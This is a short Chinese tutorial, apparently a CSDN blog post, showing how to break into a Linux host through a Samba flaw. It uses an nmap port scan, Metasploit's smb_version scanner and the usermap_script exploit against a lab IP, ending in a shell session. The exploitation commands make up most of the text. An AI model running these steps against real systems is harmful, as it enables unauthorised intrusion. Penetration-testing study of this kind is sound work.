linux端口利用入侵,利用samba服务漏洞入侵linux主机

本文详细介绍了如何使用Metasploit框架针对Linux主机上的Samba服务进行漏洞利用。首先,通过nmap扫描目标主机的139和445端口,确认Samba服务的存在。接着,利用Metasploit的smb_version模块确定Samba版本,然后使用usermap_script模块尝试远程溢出漏洞,最终成功创建shell会话,入侵远程Linux主机。
摘要由CSDN通过智能技术生成

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等.本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机. step1) 首先要扫描目标主机上开放的端口和服务,用nmap,命令如下: nmap

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等.本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机.

step1)首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:

nmap-sS -Pn -A 192.168.2.142

92706c3e464545033066642b6717ab49.png

step2)发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.

step3)打开metasploit之后需要先判断samba的版本,命令如下:

-msf> search scanner/samba

这条命令用来查找samba相关exploit参数

27fcd2676e9fc577c84c48c4bfff205a.png

step4)然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。

msf> use auxiliary/scanner/smb/smb_version

msfauxiliary(smb_version) > set RHOSTS 192.168.2.142

这条命令定义你将要扫描samba版本的远程主机的IP地址.

exploit

该命令将开始漏洞利用

7a9c32f6668a63c3e6cfa2b2d27ef3ab.png

step5)发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机

msf> use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > set RHOST 192.168.2.142

msf exploit(usermap_script) > exploit

执行完成以上命令如图所示,成功创建了shell 会话.

f617422534afac20ac4872529aa75515.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值